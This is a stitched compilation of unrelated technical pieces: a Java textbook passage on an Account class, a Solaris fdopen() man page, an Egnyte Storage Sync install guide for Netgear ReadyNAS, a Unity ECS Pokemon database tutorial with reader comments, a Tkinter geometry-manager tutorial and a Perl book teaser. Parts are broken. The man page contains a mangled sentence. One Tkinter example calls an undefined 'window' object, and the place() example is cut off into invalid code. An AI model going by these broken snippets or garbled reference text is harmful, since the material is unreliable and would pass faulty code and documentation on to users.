Line 21 (Fig. 3.9) prompts the user to enter a deposit amount for account1. Line 22 declares local variable depositAmount to store each deposit amount entered by the user. Unlike instance variables (such as name and balance in class Account), local variables (like depositAmount in main) are not initialized by default, so they normally must be initialized explicitly. As you’ll learn momentarily, variable depositAmount’s initial value will be determined by the user’s input.
Line 22 obtains the input from the user by calling Scanner object input’s nextDouble method, which returns a double value entered by the user. Lines 23–24 display the depositAmount. Line 25 calls object account1’s deposit method with the depositAmount as the method’s argument. When the method is called, the argument’s value is assigned to the parameter depositAmount of method deposit (line 22 of Fig. 3.8); then method deposit adds that value to the balance. Lines 28–31 (Fig. 3.9) output the names and balances of both Accounts again to show that only account1’s balance has changed.
Line 33 prompts the user to enter a deposit amount for account2. Line 34 obtains the input from the user by calling Scanner object input’s nextDouble method. Lines 35–36 display the depositAmount. Line 37 calls object account2’s deposit method with depositAmount as the method’s argument; then method deposit adds that value to the balance. Finally, lines 40–43 output the names and balances of both Accounts again to show that only account2’s balance has changed.
UML Class Diagram for Class Account
The UML class diagram in Fig. 3.10 concisely models class Account of Fig. 3.8. The diagram models in its second compartment the private attributes name of type String and balance of type double.
Class Account’s constructor is modeled in the third compartment with parameters name of type String and initialBalance of type double. The class’s four public methods also are modeled in the third compartment—operation deposit with a depositAmount parameter of type double, operation getBalance with a return type of double, operation setName with a name parameter of type String and operation getName with a return type of String.
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#include <stdio.h> FILE *fdopen(int fildes, const char *mode);
The fdopen() function associates a stream with a file descriptor fildes.
The mode argument is a character string having one of the following values:
The meaning of these flags is exactly as specified for the fopen(3C) function, except that modes beginning with w do not cause truncation of the file. A trailing F character can also be included in the mode argument as described in fopen(3C) to enable extended FILE facility.
The mode of the stream must be allowed by the file access mode of the open file. The file position indicator. compatibility with earlier Solaris releases, this limit still constrains 32-bit applications.
File descriptors are obtained from calls like open(2), dup(2), creat(2) or pipe(2), which open files but do not return streams. Streams are necessary input for almost all of the standard I/O library functions.
See attributes(5) for descriptions of the following attributes:
The F character in the mode argument is Evolving. In all other respects this function is Standard.
creat(2), dup(2), open(2), pipe(2), fclose(3C), fopen(3C), attributes(5), standards(5)
Name | Synopsis | Description | Return Values | Errors | Usage | Attributes | See Also
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Storage Sync for Netgear Version Installation Guide for Netgear ReadyNAS 6.0 Intel Base NAS
- Wilfrid Benson
- 3 years ago
- Views:
Transcription
1 Storage Sync for Netgear Version 10.0 Installation Guide for Netgear ReadyNAS 6.0 Intel Base NAS Revised January, 2014
2 Table of Contents Introduction... 3 Supported NETGEAR 6 Devices... 3 Using this Document... 3 Storage Sync For Netgear Overview... 3 High Speed LAN Access to Files... 4 Access Permissions... 4 Work Locally, Access Globally... 4 Bi-directional Synchronization... 5 Redundancy... 5 Storage Sync Installation... 5 Configure your NETGEAR ReadyNAS... 5 Active Directory Integration... 6 Install and Configure Egnyte Storage Sync add-on... 8 Egnyte Glossary
3 Introduction This document is a guide describing technical details and best practices for implementing Egnyte Storage Sync for Netgear ReadyNas devices. The Egnyte hybrid cloud technology combines the accessibility and flexibility of cloud storage with the robust performance offered by local storage. By automatically detecting and synchronizing changes to files on either the local drives or in the cloud, Egnyte ensures that users have reliable and fast access to the files they need wherever they are. Supported NETGEAR 6 Devices Storage Sync for Netgear version 10.0 supports NETGEAR ReadyNAS 6.0 FW revision 6.2 and up for 64bit OS Storage Sync for Netgear works on all Netgear ReadyNAS that are powered with Intel Processors. For more information about Netgear ReadyNAS, offerings, sizing and concurrent user support please refer here. Egnyte has fully tested Storage Sync for Netgear on the following ReadyNAS devices: ReadyNAS 312 ReadyNAS 314 ReadyNAS 316 ReadyNAS 516 ReadyNAS 716 ReadyNAS 3220 ReadyNAS 4220 S/X Using this Document This document has been created to apply to the widest possible audience. Where appropriate, for instructional purposes, prescriptive examples have been included. The infrastructure guidelines provided in this document are suggestions and might not align exactly with the customer s infrastructure and requirements. The aim of the document is to simplify the common configuration steps where possible. Storage Sync For Netgear Overview Storage Sync leverages hybrid cloud file sharing technology to perform bi-directional synchronization between your Netgear ReadyNAS device and Egnyte Cloud. Files and folders can be replicated across offices and across different storage systems in order to facilitate cross-office collaboration. When Storage Sync is deployed for the first time, you will be prompted to create an Egnyte Cloud account. This account serves as the domain for your company on Egnyte Cloud to host your business data along with the users and security groups that need access to the collaborative data. Egnyte Cloud Server provides a globally unified namespace for managing multiple instances of Storage Syncs, provisioning users and groups, managing user-permissions, setting data retention policies and many more 3
4 powerful features. This enables your company s IT team to easily manage Egnyte even while your business continues to grow and file sharing needs expand. Storage Sync for Netgear runs as a service on your Netgear ReadyNAS device and performs sync for data that exists on a configured CIFS share to Egnyte Cloud. Local users can access the CIFS share and collaborate on files. These changes get synced with the Egnyte Cloud where remote users can obtain the most up-to-date copy of these files. High Speed LAN Access to Files Storage Sync allows users to access the files directly from the local device. Users simply connect to the device using a familiar network drive interface. Access Permissions With Storage Sync, all access permissions are synchronized from the Cloud File Server to the local device. This ensures that user access files locally with the same level of security as they would on the Cloud File Server. For example, a user who has only Read permissions on a folder would not be able to modify or delete files in that folder on the local device. Work Locally, Access Globally When users are in the office, they can access files on the local device. However, when users are out of the office, they can access files from the Cloud File Server. Similarly, users who work from remote locations can also access the files directly from the Cloud File Server. 4
5 Bi-directional Synchronization Storage Sync will also keep the data on the local device and the data on the Cloud File Server synchronized. Administrators can choose to setup an appropriate synchronization schedule based on their business needs. This ensures that data from the local device is made accessible to remote users accessing the Cloud File Server and vice versa. Redundancy Since the data from the local device is automatically synchronized to the Cloud File Server, the Cloud File Server serves as a redundant data store in case the local device fails. It alleviates the need for RAID configuration or other backup procedures for the local data. Should Storage Sync device become corrupted data can be re-synced from Egnyte Cloud File Server. Storage Sync Installation Download the Storage Sync Application and Install Guide that applies to your ReadyNAS version. To download the latest version of the Storage Sync, click here. Configure your NETGEAR ReadyNAS 1. Login as an administrator into the NAS at The default username is admin and the default password is password. 2. After you perform the initial device configuration, make sure the version of the NAS firmware is version 6.2 or higher. To update your firmware, click on System > Update > Check for Updates. 3. Ensure that your ReadyNAS Share is named data (default). Egnyte Storage sync will not install on other share names. 4. If you wish to integrate your NAS with Microsoft Active Directory (AD), you should skip this step. Refer to the Active Directory Integration section to learn how to import users from your AD domain. If you are not integrating with AD, you need to create local users that correspond to your Egnyte users at Security > User & Group Accounts. 5
6 We recommend using identical usernames as the usernames on Egnyte s Cloud File Server (CFS). The passwords set here will be used by the users to connect to the local share. 5. We also recommend that the NAS be configured with a static IP address, so that your users can connect to the NAS with a fixed IP address. Please consult your NETGEAR ReadyNAS documentation for details. Active Directory Integration Please follow the instructions in this section to integrate your NAS with Microsoft Active Directory (AD). 1. Make sure the time zone and time settings on your NAS are correct, and match the settings on your AD Domain Controller (DC). You can set it within the System tab by clicking on the Gear Icon, in the Device section. 6
7 2. You will need to assign your NAS a static IP address, and make sure that the primary DNS server of the NAS is configured to point to the IP address of your DC. This is done at Network > click on eth0 or eth1 > Settings. Please consult your NETGEAR ReadyNAS documentation for more details. 3. Go to Accounts > Authentication and select Access Type as Active Directory. 4. Enter the various parameters required to join the AD domain, including the NetBIOS Name, Domain Name (FQDN), Domain Controller IP Address (Note: DO NOT use Auto-Detect), and the Domain Administrator username and password, and click Apply. 7
8 5. If everything goes well, you should get a popup alerting that you have successfully joined the AD domain. If you need assistance in configuring your AD with your NETGEAR box, please contact us. Install and Configure Egnyte Storage Sync add-on 1. Navigate to your Egnyte domain URL 2. On the right hand side of the top menu bar, select the Tools drop-down menu and choose Plan Details 3. Enable Storage Sync for your account from the Plan Details section for Group and Office plans. 8
9 4. Obtain the latest Sync Storage installation package for NETGEAR at: (EgnyteOfficeLocalCloud.deb) 5. Return to your NETGEAR admin page and go to the Apps tab. Click on Upload. The page will prompt you to for an installation package. Browse to where you downloaded your installation package, and click Upload (blue button) to start the installation. 6. After the installation completes, you should see a notification that it succeeded. Click Refresh (next to Upload) to check for completion. Enable Storage Sync by clicking the box below Developer and Version information to On. 9
10 7. Click the Launch button under the Egnyte logo to take you to the Storage Sync settings page. Should the launch button fail for any reason, you can type the following into your web browser: 8. On the following page, click Yes I have an account if you already have registered an Egnyte domain, or start a free tri 9. Next, authenticate against your Egnyte Cloud File Server by entering an administrator username, password, and Egnyte domain name. 10
11 10. If you integrated with Active Directory, the page will prompt you to enter your AD settings and administrator credentials to link with your Egnyte domain. 11. Configuring the client involves 3 easy steps: 11
12 a. Map the users on the NAS (local/ad) to the users in your CFS domain. The mappings are populated automatically based on usernames, but you may modify the mapping manually if you wish to do so. b. Configure folders that you wish to synchronize from the CFS. 12
13 c. Start the initial synchronization. The initial synchronization pulls down folders and files from your Egnyte CFS, and sets permissions on them accordingly. If the NAS already contains a copy of the cloud data, this process is completed much faster. 12. Once the initial synchronization has completed, your users can now access the network share from the NAS. For Windows users, open My Computer, and click on menu item Tools > Map Network Drive. In the Folder field enter: \\NAS.IP.ADDRESS\ELC For Mac users, open Finder, and click on menu item Go > Connect To Server. In the Server Address field enter: smb://nas.ip.address/elc 13
14 You are now ready to use Egnyte Storage Sync! More advanced users can install Storage Sync for NETGEAR via SSH. For more information on how to do this, please contact us. Egnyte Glossary Egnyte Storage Sync can be deployed on a number of different storage platforms; this guide is specifically focused on the use of Netgear ReadyNAS deployments. Best Practices Per Device recommendations Shared Folders Using Storage Sync management page, select only folders within /Shared that are required on Storage Sync based on sizing. Private Folders Select based on user s request. Keep Private folders that are not required locally unchecked. Permissions Grant RO (Read Only) permissions at parent level folders. Grant RWD (Read, Write & Delete) on folders within parent folders. Example: /Shared/Creative folder all creative users have RO permissions. In /Shared/Creative/Customer1 all creative users have RWD permissions. Moves Schedule Large moves of folders within a maintenance window. Folders that contain more than 40k will cause system performance degradation. Schedule these types of actions after business hours Deletes Schedule Large deletes of folders within a maintenance window. Files and folders larger than 40k will cause system performance degradation. Schedule these types of actions after business hours 14
15 Sync Sync should be configured for real time allowing files and folder changes to be moved into the cloud at the quickest rate. Exception is when in a data migration situation. Rescan Sync The following action(s) may cause a Rescan Sync process to initiate on the Storage Sync Device: 1. CFS folder merge 2. CFS restore from trash 3. CFS more than 40k events 4. CFS folder copy operations 5. Any folder operations that would fail during sync 6. Any operation that causes the DM to miss events (seen in dm.log) 7. Any dm crash or time out (120 minutes) 8. Any rename folder events or folder delete events when there are more than 250k events in the system 9. Local Disk space is critically low (0%) How to reduce System Rescans A rescan is an event that requires the Storage Sync product to scan the local file system reading into a flat file list all files and folders that exist locally. To reduce the rescan of the system please refer to the best practices on Moves and Deletes section. Large files Users who need to create new large files (1GB-5GB) need to be separated from users who work on small files. Separation can be done a number of ways. Option1: Acquire a separate Storage Sync device just for the users with large files Option2: Teach users to use FTP to Egnyte for these large files In either option make sure that the folder that users are pushing large files into Egnyte is not checked for Sync on other Storage Sync devices. 15
16 Restart and shutdown To Shutdown or restart your Storage Sync device, navigate to the URL Log in with your login details. Click on the Power Icon on the Device Overview and select Shutdown or Reboot. Networking In any production environment a Static IP is recommended. For initial setup DHCP is required for initial configuration of the Storage Sync device Upgrading Egnyte will occasionally publish updates to the Storage Sync appliance. When performing any upgrade it is recommended to only upgrade the device during a maintenance window. Usually this entire upgrade process takes less than 30 minutes User Mapping Best practices In most cases it is recommended to filter users by OU or Security group at the Storage Sync device when using AD to reduce the number of possible users. This will improve the overall time to map new users and when performing auto mapping functionality Best Practices for Deploying Storage Sync with Data Migration Note: Please follow these steps in order until completion for each site and migration. Skipping, changing the order or method is not recommended without consulting Egnyte first. 16
17 Task Day Details for sites Install Storage Sync/Integrate Storage Sync to Active Directory/ Map all users. Set sync schedule to No scheduled synchronizations Select single /Shared/Officename folder in Shared and Sync manually Using Sync Back Pro (Windows) or Carbon Copy Cloner (MAC) copy exact data onto Storage Sync /Shared/Officename folder path Start copy to External Hard Drive using Sync Back Pro/Carbon Copy Cloner Follow Data Migration Guide for the current migration process Monitor the data copied to Storage Cloud Monitor the data copied to USB Mail portable drive to Egnyte Follow Data Migration Guide for the current migration process Users continue to access files from original (Windows) file server Egnyte Data Migration is complete Run an FFS Force Full Sync on Storage Sync device ( Enable Real Time Sync on Storage Sync Disable share on old file server (Windows) 17
18 Copy from Source (Windows) to Storage Sync using Sync Back Pro for the changes and differentials Ensure initial synchronization has completed with all captured changes Map Users to Storage Sync device on their Windows/Mac computers Go Live On Storage Sync & Cloud
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Contents 1. Overview... 2 2. Installing the module... 2 2-1. How to get the module... 2 2-2. Installation... 2 2-3. Start the module... 3 3. Backup NAS data to ElephantDrive cloud... 3 3-1. Create an ElephantDrive
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There is one last “resource” we need to gather – the data for our database. I saved this for its own step, because I wanted to take a bit more time to explain the “how” and “why” of the layout of the data. It has a certain pattern to it which is based off of something called an “Entity Component System” architecture.
Entity Component System (ECS)
I recently started working with this pattern while making my Zork project. If you already followed along with that project or are already familiar with Adam Martin’s take on this architecture then you can feel free to skip ahead to the next stuff.
Because I am beginning with the assumption that you are already familiar with Unity, I don’t feel I will need to elaborate too much on the idea of ECS. It has a lot in common with Unity and some would say that Unity is an ECS. Anyway, following is my super brief over-simplification of the concept:
Entity
The first part of the architecture is the entity. Conceptually, you can think of this as something like a GameObject in Unity – by itself it doesn’t really “do” anything, it is just a container for components. With this pattern, you create complex objects by the components which make it up.
Now for the differences – an entity is implemented as nothing more than a unique id (like an integer data type). It is basically a key used in a database, and that’s it. The key will be used in the mapping of relationships to components.
Component
The next part of the architecture is the component. You probably already have a good idea of what this is. In Unity, it would be any class that inherits from MonoBehaviour. Actually, the MonoBehaviour class inherits from another class which is, not surprisingly, called Component.
The difference this time is that most Unity developers store both data and behavior in their components. A component should be nothing more than a structure of data – it should be able to be stored as a table in a database.
System
The system has no directly matching concept in Unity, although there is nothing stopping you from having used them. A system is really just a single class which acts upon the data in a component or collection of components. Any behavior (method) that you might previously have put in a component should actually go here instead.
Implementation
I have already included a starter database file in our project as well – it could be a good template to use for doing this again in the future. Take a look at the “Pokemon.db” file in the “StreamingAssets” folder. It is empty except for the definitions of a few important tables:
The “Enity” table contains columns for an “id” and “label”. The “id” IS the entity as I mentioned earlier. It is just a key in a database. For every object in your game you would create a new row in this table. The “label” is intended to be for debug purposes only and gives a quick idea of what that “id” and its components are intended to represent. Following is the class implementation:
public class Entity { [PrimaryKey, AutoIncrement] public int id { get; set; } public string label { get; set; } }
The “Component” table contains an “id”, “name” and “description”. I like to think of this table as a way to index my other tables – each of which represents what I think of as an “actual” component. The “name” is the name of one of those tables, and the description gives you an idea of what that component is for. I don’t actually use the description in the implementation of the code for any reason, but it might be handy for later reference in case you forget why you created something. There will be one row in this table for each TYPE of component you have in your game. The tables that the row points to will hold the instances of those components and the data specific to its own kind. Following is the class implementation:
public class Component { [PrimaryKey, AutoIncrement] public int id { get; set; } public string name { get; set; } public string description { get; set; } }
The “EntityComponent” table is what holds the relationship between an entity and its component(s). For each component instance that needs to be attached to an entity instance, you will have one new row in this table. The table definition includes an “id”, “entity_id”, “component_id”, and “component_data_id”. The “id” (as always) allows you a way to point to a specific row of this table. The “entity_id” holds the “id” of a row in the “Entity” table. The “component_id” holds the “id” of a row in the “component” table, and finally the “component_data_id” holds the “id” of a row in yet another table – one which you should be able to find by way of the data that the “Component” table tells you. Following is the class implementation:
public class EntityComponent { [PrimaryKey, AutoIncrement] public int id { get; set; } public int entity_id { get; set; } public int component_id { get; set; } public int component_data_id { get; set; } }
I realize that all might be a bit confusing. Feel free to read it a few times if you need to, but I will include an example that will hopefully help to clear everything up.
Database Setup
For this project I wanted to ease my way into using SQLite, so the only thing I stored in the database was information regarding the Pokemon. Note that these are treated almost like “prefabs” or “prototypes” because the data held here is not unique to an instance of a kind of Pokemon. In other words, any “Bulbasaur” the game instantiates would use the same base stats, evolution costs, etc. as all of the other “Bulbasaurs”.
Let’s take a look at the three default tables I inlcluded first. In order to match what I created, the “Entity” table should be populated so that there is one row per type of Pokemon. From “Bulbasaur” to “Dragonite”, etc. each gets a new row.
I created each Pokemon as an entity because I want to “describe” them based on a collection of components. In theory I could have created a single table with all of the information relevant to any given Pokemon, but in practice, most systems don’t need all of that data, they only need small bits of the data. For example, when I decide what Pokemon to spawn in a random encounter, I want to know the weighted chance from ALL of the Pokemon, but I don’t want to have to load the entire database into memory either. If I am not spawning a “Dragonite” at that point, then I don’t benefit from knowing its attack strength or move set, so it is beneficial to be able to break it down.
The game I created only requires a few components, each of which describes some aspect of a Pokemon:
- SpeciesStats: This component holds the base stats such as attack, defense, and stamina and what type(s) a Pokemon is classified as.
- Evolvable: This component indicates what other Pokemon an entity can evolve into, after paying the candy cost. Not all Pokemon have this compoennt.
- Encounterable: This component indicates the chance that a given Pokemon can appear. Not all Pokemon will have this component either, such as Legendary pokemon like Mew.
- Move: This component holds the information of an attack such as its power or energy cost. By attaching one or more as a component to a Pokemon we can define its set of abilities.
Go ahead and create a row in the “Component” table for each of these listed components. Then, we will need to create the “Component Data” table for each. Feel free to do so manually or programmatically, based on the following classes which represent them:
public class SpeciesStats { public const int ComponentID = 1; [PrimaryKey, AutoIncrement] public int id { get; set; } public string name { get; set; } public int typeA { get; set; } public int typeB { get; set; } public int maxCP { get; set; } public int attack { get; set; } public int defense { get; set; } public int stamina { get; set; } } public class Evolvable { public const int ComponentID = 2; [PrimaryKey, AutoIncrement] public int id { get; set; } public int entity_id { get; set; } public int cost { get; set; } } public class Encounterable { public const int ComponentID = 3; [PrimaryKey, AutoIncrement] public int id { get; set; } public double rate { get; set; } } public class Move { public const int ComponentID = 4; [PrimaryKey, AutoIncrement] public int id { get; set; } public string name { get; set; } public int type { get; set; } public int power { get; set; } public double duration { get; set; } public int energy { get; set; } }
Note that in each of the classes above I have a “ComponentID” – this will be the same as the “id” in the “Component” table – if you added them in a different order, you should modify this accordingly. This field is quite convenient when one needs to perform fetches.
Once you have the tables configured you will need to start populating them with data and then adding the entity component rows to connect them. In the image below, you can see a few which show the connection between the first five Pokemon entities (based on the entity_id column) with the Species Stat component (based on the component_id column) and which stat to use (based on the component_data_id column):
There is a certain “art” to figuring out how you want to model you data, not only for the convenience of entering it initially, but also for maintaining it, and allowing the greatest flexibility with it. Consider the “Move” component as one example. I was easily able to show a Pokemon’s move set simply by adding the moves I wanted a Pokemon to be able to use as components to the Pokemon’s entity itself. While this was a simple solution, a more complex battle system might have benefitted from the Move being attached to its own entity. Then I could attach additional components to the new move’s entity – some might allow status ailments to be inflicted upon the target, or give some other benefit to the user. Some, like a Ditto’s ability to transform, may not actually apply any damage at all and are drastically different in implementation than a normal attack move. Being able to connect additional components to a custom Move entity would make all of this a LOT easier to account for. If I went this route, I would not attach the Move as a component on the Pokemon entity. I might instead create some alternate entity that had components marking a collection of other entities. The Pokemon could then get a reference to this collection entity as its move set.
In addition to the component tables listed above, I added two additional tables for “Type” and “TypeMultiplier”, and they (for better or worse) didn’t follow the ECS pattern. Like the alternate implementation of a “Move”, the “Type” could potentially have been added to its own entity, and the type multipliers (the strength or weakness of one type against another) could have been added as additional components to the same entity. Ultimately, my reasoning was just that it was simpler not to need the Entity and that my simple game wouldn’t grow any more complex, so I was fine with simply looking up the information I needed manually.
The additional tables should use the following setup:
public class Type { [PrimaryKey, AutoIncrement] public int id { get; set; } public string name { get; set; } } public class TypeMultiplier { [PrimaryKey, AutoIncrement] public int id { get; set; } public int attack_type_id { get; set; } public int defend_type_id { get; set; } public double value { get; set; } }
Finding the Reference Data
Hopefully by now you understand what kind of data needs to be added, why it is structured like it is, and also how to add it – either manually through the use of an editor like SQLite Browser, or programmatically by random generation or by parsing data you find somewhere else. All of the data I used was based off of Pokemon Go. Here are a couple of links you might find valuable while trying to rebuild a working database for yourself:
- The Silph Road – well laid out data of all of the Pokemon names, numbers, base stats, etc.
- Game Master – a decoded and categorized json file covering just about everything you could want to know.
- Spawn Rates – a table of the spawn chance of all of the Pokemon based on data from 10,000 spawns.
- Pokemon Go moves list – a list of the pokemon and their moves with a DPS rating.
- Quick Moves & Charge Moves – an alternate list of the moves in Pokemon Go, with a time for each attack listed separately from the DPS.
If you google for a little while you will see that there are a ton more than the ones I have listed. Hopefully you will find something you like working from. Good luck!
Generating Data
If gathering the real data is too tedious, you can always generate your own data procedurally. We covered how to create and insert data into tables in the previous lesson, so you can always create something random using the same means. Afterward you can choose to polish the data a bit so it feels more balanced, but at least having the data will allow you to play the game and get a feel for it. It might be nice to at least generate data within the same ranges as the values I used in my prototype, so here are a few values to begin with:
- Entity: I used 149 different pokemon in the prototype.
- Encounterable rate: ‘0.0011’ to ‘15.98’
- Evolvable: there are 72 pokemon which can evolve. Some of the evolved pokemon can evolve again. You may want to make sure that evolving always goes to a pokemon with stronger stats. The cost ranged from ’12’ to ‘400’ (although only 1 pokemon exceeded ‘100’).
- Move power: ‘0’ to ‘120’, duration: ‘0.4’ to ‘5.8’, energy (for charge moves): ‘-20’ to ‘-100’, energy (for quick moves): ‘4’ to ’15’
- Species Stats attack: ’29’ to ‘271’, defense ’44’ to ‘323’, stamina ’20’ to ‘500’. maxCP can be calculated based on the other stats.
- Type: there are 18 different types.
- Type Multiplier: ‘0.8’ for weak against, ‘1.25’ for strong against
Summary
In this lesson I gave a brief introduction of the Entity Component System (ECS) architecture. I then discussed how that architecture was implemented with the database that provided all of the Pokemon data. I showed how to structure the tables and classes that work with those tables, and finally provided links that can help you populate those tables with data. Even if you don’t use the “real” Pokemon Go data, you will need to populate the database with something before you can continue with the rest of the project – the database on the repository will remain empty, although the classes will be updated accordingly.
Don’t forget that there is a repository for this project located here. Also, please remember that this repository is using placeholder (empty) assets so attempting to run the game from here is pretty pointless – you will need to follow along with all of the previous lessons first.
6 thoughts on “Unofficial Pokemon Board Game – ECS”
Great tutorial, but I got a question. I cant understand the TypeMultiplier class, what is attack_type_id and defend_type_id and what value is value?
The “TypeMultiplier” is a table that will be used in damage algorithms related to the “Type” of a move and Pokemon using the move. The type refers to stuff like Flying, Water, Bug, etc. Some types are strong against others and some types are weak against others. So, I represent these relationships in the “TypeMultiplier” table where the “attack_type_id” is the “id” of a “Type” that is used in the attack, and the “defend_type_id” is the “id” of a “Type” that is defending against the attack. The “value” is a multiplier that can either cause the damage algorithm to do more damage or less damage. For example, a value of “1.25” means that the attacking type is strong against the defending type and will do more damage. If you see “0.8” then it means the attacking type is weak against the defending type and will do less damage. Does that make sense? You will see this used in the Battle Setup lesson (part 13).
Yeah It does make sense now.
Thank you for taking the time to explain it to me.
Hi,jon
I’m trying to learn ecs from this tutor.
If possible, please upload only file pokemon.db. I can’t anything without it.
The reason I didn’t include the pokemon data was because I am not sure about copy-right laws regarding those stats. I did however try my best to demonstrate how you could create your own stats or obtain a copy of them on your own. Also, one of the users on my forum shared some code demonstrating how to populate the database:
I hope that helps!
Thank you very much ,Jon
I will try it.
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https://theliquidfire.com/2017/02/13/unofficial-pokemon-board-game-ecs/
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Python Tkinter Geometry Manager
In this tutorial, we will learn how to control the layout of the Application with the help of the Tkinter Geometry Managers.
Controlling Tkinter Application Layout
In order to organize or arrange or place all the widgets in the parent window, Tkinter provides us the geometric configuration of the widgets. The GUI Application Layout is mainly controlled by Geometric Managers of Tkinter.
It is important to note here that each window and
Frame in your application is allowed to use only one geometry manager. Also, different frames can use different geometry managers, even if they're already assigned to a frame or window using another geometry manager.
There are mainly three methods in Geometry Managers:
Let us discuss each method in detail one by one.
1. Tkinter
pack() Geometry Manager
The
pack() method mainly uses a packing algorithm in order to place widgets in a
Frame or window in a specified order.
This method is mainly used to organize the widgets in a block.
Packing Algorithm:
The steps of Packing algorithm are as follows:
Firstly this algorithm will compute a rectangular area known as a Parcel which is tall (or wide) enough to hold the widget and then it will fill the remaining width (or height) in the window with blank space.
It will center the widget until any different location is specified.
This method is powerful but it is difficult to visualize.
Here is the syntax for using
pack() function:
widget.pack(options)
The possible options as a parameter to this method are given below:
- fill
The default value of this option is set to NONE. Also, we can set it to X or Y in order to determine whether the widget contains any extra space.
- side
This option specifies which side to pack the widget against. If you want to pack widgets vertically, use TOP which is the default value. If you want to pack widgets horizontally, use LEFT.
- expand
This option is used to specify whether the widgets should be expanded to fill any extra space in the geometry master or not. Its default value is
false. If it is
falsethen the widget is not expanded otherwise widget expands to fill extra space.
Tkinter
pack() Geometry Manager Example:
Let us discuss an example where we will see what happens when you
pack() three colored
Frame widgets(here is the Tkinter Frame Widget) into a window:
import tkinter as tk win = tk.Tk() # add an orange frame frame1 = tk.Frame(master=win, width=100, height=100, bg="orange") frame1.pack() # add blue frame frame2 = tk.Frame(master=win, width=50, height=50, bg="blue") frame2.pack() # add green frame frame3 = tk.Frame(master=win, width=25, height=25, bg="green") frame3.pack() window.mainloop()
According to the output of the above code, the
pack() method just places each
Frame below the previous one by default, in the same order in which they're assigned to the window.
Tkinter
pack() with Parameters
Let's take a few more code examples using the parameters of this function like
fill,
side and,
expand.
You can set the
fill argument in order to specify in which direction you want the frames should fill. If you want to fill in the horizontal direction then the option is
tk.X, whereas,
tk.Y is used to fill vertically, and to fill in both directions
tk.BOTH is used.
Let's take another example where we will stack the three frames so that each one fills the whole window horizontally:
import tkinter as tk win= tk.Tk() frame1 = tk.Frame(master=win, height=80, bg="red") # adding the fill argument with # horizontal fill value frame1.pack(fill=tk.X) frame2 = tk.Frame(master=win, height=50, bg="yellow") frame2.pack(fill=tk.X) frame3 = tk.Frame(master=win, height=40, bg="blue") frame3.pack(fill=tk.X) win.mainloop()
In the above output, you can see that the frames fill the entire width of the application window because we used the
tk.X value for the
fill parameter.
Now let's take another code example, where we will be using all options, namely,
fill,
side, and
expand options of the
pack() method:
import tkinter as tk win = tk.Tk() frame1 = tk.Frame(master=win, width=200, height=100, bg="Yellow") # setting fill, side and expand frame1.pack(fill=tk.BOTH, side=tk.LEFT, expand=True) frame2 = tk.Frame(master=win, width=100, bg="blue") frame2.pack(fill=tk.BOTH, side=tk.LEFT, expand=True) frame3 = tk.Frame(master=win, width=50, bg="green") frame3.pack(fill=tk.BOTH, side=tk.LEFT, expand=True) win.mainloop()
If you will run this above code in your system then you can see this output is able to expand in both directions.
2. Tkinter
grid() Geometry Manager
The most used geometry manager is
grid() because it provides all the power of
pack() function but in an easier and maintainable way.
The
grid() geometry manager is mainly used to split either a window or frame into rows and columns.
You can easily specify the location of a widget just by calling
grid()function and passing the row and column indices to the
rowand
columnkeyword arguments, respectively.
Index of both the row and column starts from
0, so a row index of 2 and a column index of 2 tells the
grid()function to place a widget in the third column of the third row(0 is first, 1 is second and 2 means third).
Here is the syntax of the
grid() function:
widget.grid(options)
The possible options as a parameter to this method are given below:
Column
This option specifies the column number in which the widget is to be placed. The index of leftmost column is 0.
Row
This option specifies the row number in which the widget is to be placed. The topmost row is represented by 0.
Columnspan
This option specifies the width of the widget. It mainly represents the number of columns up to which, the column is expanded.
Rowspan
This option specifies the height of the widget. It mainly represents the number of rows up to which, the row is expanded.
padx, pady
This option mainly represents the number of pixels of padding to be added to the widget just outside the widget's border.
ipadx, ipady
This option is mainly used to represents the number of pixels of padding to be added to the widget inside the widget's border.
Sticky
If any cell is larger than a widget, then sticky is mainly used to specify the position of the widget inside the cell. It is basically concatenation of the sticky letters which represents the position of the widget. It may be N, E, W, S, NE, NW, NS, EW, ES.
Tkinter
grid() Geometry Manager Example:
The following code script will help you to create a 5 × 3 grid of frames with
Label widgets packed into them:
import tkinter as tk win = tk.Tk() for i in range(5): for j in range(3): frame = tk.Frame( master = win, relief = tk.RAISED, borderwidth = 1 ) frame.grid(row=i, column=j) label = tk.Label(master=frame, text=f"Row {i}\nColumn {j}") label.pack() win.mainloop()
If you want to add some padding then you can do it by using the following code snippet:
import tkinter as tk win = tk.Tk() for i in range(5): for j in range(3): frame = tk.Frame( master=win, relief=tk.RAISED, borderwidth=1 ) frame.grid(row=i, column=j, padx=5, pady=5) label = tk.Label(master=frame, text=f"Row {i}\nColumn {j}") label.pack() win.mainloop()
As you can see in the code example above, we have used the
padx and
pady parameters because of which padding is applied outside the widget. To add padding inside the Frame widget, use the parameters
ipadx and
ipady in your code.
Similarly, do try using other parameters too for the
grid() geometry manager.
3. Trinket
place() Geometry Manager
The
place() Geometry Manager organizes the widgets to place them in a specific position as directed by the programmer.
This method basically organizes the widget in accordance with its x and y coordinates. Both x and y coordinates are in pixels.
Thus the origin (where
xand
yare both
0) is the top-left corner of the
Frameor the window.
Thus, the
yargument specifies the number of pixels of space from the top of the window, to place the widget, and the
xargument specifies the number of pixels from the left of the window.
Here is the syntax of the
place() method:
widget.place(options)
The possible options as a parameter to this method are given below:
x, y
This option indicates the horizontal and vertical offset in the pixels.
height, width
This option indicates the height and weight of the widget in the pixels.
Anchor
This option mainly represents the exact position of the widget within the container. The default value (direction) is NW that is (the upper left corner).
bordermode
This option indicates the default value of the border type which is
INSIDEand it also refers to ignore the parent's inside the border. The other option is
OUTSIDE.
relx, rely
This option is used to represent the float between 0.0 and 1.0 and it is the offset in the horizontal and vertical direction.
relheight, relwidth
This option is used to represent the float value between 0.0 and 1.0 indicating the fraction of the parent's height and width.
Tkinter
place() Geometry Manager Example:
The code snippet for this is given below:
from tkinter import * top = Tk() top.geometry("400x250") Username = Label(top, text = "Username")()
In the above code example, we have used Tkinter Label and Tkinter Entry widget, we will cover them in detail in the upcoming tutorials.
Summary:
In this tutorial, we learned how we can position our widgets inside the frame or window of our GUI application. We learned about the three Tkinter geometry managers, namely, pack(), grid() and place().
From the next tutorial, we will start covering different Tkinter widgets.
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https://www.studytonight.com/tkinter/python-tkinter-geometry-manager
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In this chapter, we get to start having fun, because we get to start talking about software design. If we're going to talk about good software design, we have to talk about Laziness, Impatience, and Hubris, the basis of good software design.
We've all fallen into the trap of using cut-and-paste when we should have defined the right ecological niche.)
The first step toward ecologically sustainable programming is simply this: don't litter in the park. When you write a chunk of code, think about giving the code its own namespace, so that your variables and functions don't clobber anyone ...
No credit card required
